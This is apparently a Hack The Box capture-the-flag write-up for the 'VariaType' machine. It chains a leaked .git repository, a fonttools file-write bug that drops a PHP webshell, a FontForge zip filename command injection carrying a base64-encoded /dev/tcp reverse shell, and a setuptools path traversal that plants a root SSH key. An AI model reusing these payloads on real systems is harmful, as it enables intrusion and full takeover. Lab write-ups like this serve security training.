Hackthebox: VariaType
Overview
VariaType is a medium-difficulty Linux machine from Hack The Box that revolves around font tooling. We start by dumping an exposed .git directory to recover portal credentials, then abuse an arbitrary file write in fonttools (GHSA-768j-98cg-p3fv) combined with a PHP payload smuggled through a font name table to drop a webshell as www-data. From there we exploit a FontForge archive command injection (CVE-2024-25081) through a cron-monitored directory to move laterally to steve, and finally abuse a setuptools PackageIndex path traversal inside a sudo-allowed script to plant an SSH key in root’s home and own the box.

Reconnaissance
We kick things off with a full nmap service scan to identify what’s exposed on the target.
1 | nmap -sC -sV -p- 10.129.5.193 |
1 | PORT STATE SERVICE VERSION |
Only two ports — SSH and an nginx web server. The Debian version and OpenSSH banner place this firmly on Debian 12 (Bookworm).
Web application - http://variatype.htb
Browsing directly to http://10.129.5.193 returns the homepage for VariaType Labs, a company offering “variable font generation” services. The page title, footer, and internal links all reference the hostname variatype.htb, so that’s the first addition to /etc/hosts.
Next, we run ffuf for subdomain/vhost enumeration against the target:
1 | ffuf -u http://10.129.5.193 -H "Host: FUZZ.variatype.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size> |
This reveals portal.variatype.htb — a second virtual host returning a different page (a login form). We add both hostnames:
1 | echo "10.129.5.193 variatype.htb portal.variatype.htb" | sudo tee -a /etc/hosts |
The main site (variatype.htb) is a public-facing marketing/tool page with a variable font generator at /tools/variable-font-generator. The portal (portal.variatype.htb) presents a login form titled “Internal Validation Portal — For authorized personnel only.”
Exposed .git Repository & Credential Leak
We run Nuclei against the portal subdomain to check for common misconfigurations:
1 | nuclei -u http://portal.variatype.htb -t http/exposures/ |
Nuclei flags a medium-severity finding: [git-config] [http] [medium] http://portal.variatype.htb/.git/config. This means the entire .git directory is accessible via the web server — nginx is serving it without restriction.
We confirm it manually:
1 | curl -s http://portal.variatype.htb/.git/config |
1 | [core] |
With .git fully exposed, we use git-dumper to reconstruct the repository locally:
1 | git-dumper http://portal.variatype.htb/.git /tmp/git-repo |
This pulls down the full commit history. Walking through the commits with git log -p reveals a critical diff in auth.php — a previous commit had added hardcoded credentials that were later removed, but they remain in the git history:
1 | diff --git a/auth.php b/auth.php |
We use the discovered credentials to authenticate to the portal login form:
1 | curl -s -X POST http://portal.variatype.htb/ \ |
The server returns a 302 redirect to /dashboard.php with a valid PHPSESSID cookie. The dashboard page shows a section titled “Recent font builds from the variable font generator” with the message “No generated fonts found.” — indicating it displays files generated by the main site’s font pipeline. This tells us the portal’s public files directory (/files/) is where generated fonts land, which becomes important for the next step.
Foothold - Arbitrary File Write via fonttools Designspace (RCE as www-data)
Understanding the Font Generator
The main site at http://variatype.htb/tools/variable-font-generator presents an upload form that accepts:
- A
.designspacefile (XML configuration defining font axes and sources) - One or more master font files (
.ttfor.otf)
After uploading, it runs fonttools varLib on the server side to compile a variable font. Reading the application source at /opt/variatype/app.py (accessible later from the shell, but the behavior was deducible from the upload form and response patterns) confirms the backend:
1 | # From /opt/variatype/app.py — the processing endpoint |
The key detail: the output variable font ends up in the portal’s public /files/ directory — the same directory served by nginx under portal.variatype.htb.
Identifying the Vulnerability (GHSA-768j-98cg-p3fv)
The .designspace XML format supports a <variable-fonts> section where each <variable-font> element has a filename attribute specifying where the generated font should be written. Researching fonttools security advisories reveals GHSA-768j-98cg-p3fv: fonttools does not sanitize the filename attribute in designspace files. An attacker can set it to an absolute path (e.g., /var/www/.../shell.php), and fonttools will write the compiled font file to that exact location.
Additionally, the font’s internal name table entries (like <labelname>) get embedded verbatim into the output binary. By placing a PHP payload inside a <![CDATA[...]]> block within a <labelname> tag, the PHP code survives compilation and ends up inside the output file. Since the output file can be given a .php extension via the filename attribute, and nginx/php-fpm is configured to execute .php files, this results in remote code execution.
Crafting the Exploit
First, we create two minimal valid TTF master fonts. The generator requires real font files — dummy/empty files cause a processing error. We use Python’s fontTools library to build minimal but structurally valid fonts:
1 | from fontTools.fontBuilder import FontBuilder |
Then we craft the malicious .designspace file. The exploit has two parts working together:
- The
filenameattribute on<variable-font>is set to an absolute path ending in.phpinside the portal’s web-accessible directory - A PHP webshell payload (
<?php system($_GET["cmd"]); ?>) is embedded in a<labelname>CDATA block, which fonttools preserves in the output font’s name table
The CDATA nesting (]]]]><![CDATA[>) is needed to properly close the inner CDATA while keeping the ?> PHP closing tag intact through XML parsing:
1 |
|
Uploading and Getting RCE
We upload the designspace and both master fonts to the generator:
1 | curl -s -X POST http://variatype.htb/tools/variable-font-generator/process \ |
The server responds with 200 OK and the message “Processing completed. Your variable font is ready.” — fonttools has compiled the font and written it to /var/www/portal.variatype.htb/public/files/shell.php.
We verify the webshell works:
1 | curl -s "http://portal.variatype.htb/files/shell.php" --get --data-urlencode "cmd=id" |
The output is mixed with binary font data (since the file is actually a compiled font with PHP embedded in the name table), but the command output is clearly visible. We have confirmed RCE as www-data.
Upgrading to a Reverse Shell
The webshell works but the output is noisy (mixed with binary). We upgrade to a proper reverse shell using the classic mkfifo/nc method:
1 | # On Kali — start a listener: |
1 | listening on [any] 4444 ... |
Lateral Movement - CVE-2024-25081: FontForge Filename Injection (www-data → steve)
Local Enumeration as www-data
With a shell as www-data, we begin standard enumeration:
1 | ls /home/ |
Only one real user besides root: steve. We can’t read the flag yet.
Searching for interesting files, we find a backup of a processing script:
1 | find /opt -type f |
Analyzing the Font Processing Pipeline
The backup script at /opt/process_client_submissions.bak reveals a font processing pipeline:
1 | cat /opt/process_client_submissions.bak |
Key details from the script:
- Runs as
steve(paths point to/home/steve/processed_fonts,/home/steve/logs/, etc.) - Monitors
/var/www/portal.variatype.htb/public/files/for font files - Processes files with extensions:
.ttf,.otf,.woff,.woff2,.zip,.tar,.tar.gz,.sfd - Uses FontForge to validate each file:
/usr/local/src/fontforge/build/bin/fontforge -lang=py -c "import fontforge; font = fontforge.open('$file')" - Has a filename sanitization regex (
^[a-zA-Z0-9._-]+$) but this only applies to files already in the directory — not to filenames extracted from archives
The fact that this is a .bak file suggests it’s a backup of an active cron job running the same logic.
Checking the FontForge Version
1 | /usr/local/src/fontforge/build/bin/fontforge --version |
Researching this version reveals CVE-2024-25081: FontForge has a command injection vulnerability in its archive extraction handling. When FontForge opens a .zip (or other archive) file, it extracts the contents to a temporary directory and then attempts to process each extracted file. The extracted filenames are passed through shell operations without sanitization, meaning a filename containing shell metacharacters like $(command) will be executed.
The attack path is clear:
- Create a
.zipfile containing a font file whose filename is a shell command - Place it in the monitored directory (
/var/www/portal.variatype.htb/public/files/) - Wait for the cron job to pick it up
- FontForge extracts the zip → the malicious filename triggers command execution as
steve
Building the Exploit Zip
We create a zip archive with an embedded reverse shell in the filename. We use base64 encoding to avoid special characters that might break the shell command within the filename:
1 | import zipfile |
The resulting zip contains a single file named:
1 | $(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNjMvNTU1NSAwPiYxCg==|base64 -d|bash).ttf |
When FontForge extracts this and passes the filename through the shell, $(...) triggers command substitution, which decodes and executes the reverse shell payload.
Deploying and Catching the Shell
We start a listener on the attacking machine and upload the zip through the existing webshell:
1 | # On Kali — start a listener for the steve shell: |
After approximately 2 minutes, the cron job runs, FontForge extracts the zip file, the malicious filename is evaluated by the shell, and a reverse shell connects back:
1 | listening on [any] 5555 ... |
User Flag
1 | cat /home/steve/user.txt |
Privilege Escalation - setuptools PackageIndex Path Traversal (steve → root)
Sudo Enumeration
First thing we check as steve:
1 | sudo -l |
1 | Matching Defaults entries for steve on variatype: |
Steve can run a Python script as root without a password. The wildcard (*) means any argument can be passed.
Analyzing install_validator.py
1 | cat /opt/font-tools/install_validator.py |
The script is a “Font Validator Plugin Installer” that:
- Takes a single URL argument (must be
http://orhttps://) - Validates the URL format and rejects URLs with more than 10 forward slashes
- Uses
setuptools.package_index.PackageIndex().download()to fetch the URL content and save it locally to/opt/font-tools/validators/
The critical code:
1 | from setuptools.package_index import PackageIndex |
The setuptools Path Traversal
The vulnerability lies in how PackageIndex.download() determines the output filename. It parses the URL path to derive a local filename and saves it relative to the specified directory. However, when the URL contains URL-encoded forward slashes (%2F), the download() method decodes them during the file write operation, resulting in path traversal.
For example, a URL like:
1 | http://attacker.com/%2Froot%2F.ssh%2Fauthorized_keys |
Gets decoded to the path /root/.ssh/authorized_keys, and since the script runs as root via sudo, the downloaded content is written directly to that location — effectively allowing us to plant an SSH key in root’s home directory.
The URL slash limit (> 10) is not a problem because %2F is not counted as a forward slash by the url.count('/') check — it only counts literal / characters.
Exploiting for Root Access
We generate a fresh SSH key pair on the attacking machine:
1 | ssh-keygen -t ed25519 -f /tmp/rootkey -N "" |
We set up a custom HTTP server that serves the public key for any request path. This is necessary because the download() method requests the exact URL path, and we need it to receive valid SSH key content regardless:
1 | mkdir -p /tmp/rootserve |
From the steve shell, we run the sudo command with the path-traversal URL. The %2F-encoded slashes cause PackageIndex.download() to write the SSH public key to /root/.ssh/authorized_keys as root:
1 | sudo /usr/bin/python3 /opt/font-tools/install_validator.py \ |
The HTTP server logs the incoming request, confirming the download occurred. The script prints [+] Plugin installed successfully.
Root Flag
We SSH in as root using the planted key:
1 | ssh -i /tmp/rootkey [email protected] |
1 | root@variatype:~# id |
And just like that, we own the box.
Summary
| Step | Vector | From → To |
|---|---|---|
| Enumeration | Exposed .git directory with hardcoded credentials in commit history |
— → Portal login |
| Foothold | GHSA-768j-98cg-p3fv: fonttools arbitrary file write via designspace filename attribute, combined with PHP payload in font name table |
— → www-data |
| User | CVE-2024-25081: FontForge command injection via crafted filenames inside zip archives processed by a cron job | www-data → steve |
| Root | Path traversal in setuptools.package_index.PackageIndex.download() via %2F-encoded slashes in a sudo-allowed script |
steve → root |
- Title: Hackthebox: VariaType
- Author: Foued SAIDI
- Created at : 2026-06-16 22:30:40
- Updated at : 2026-06-16 22:58:17
- Link: https://kujen5.github.io/2026/06/16/Hackthebox-VariaType/
- License: This work is licensed under CC BY-NC-SA 4.0.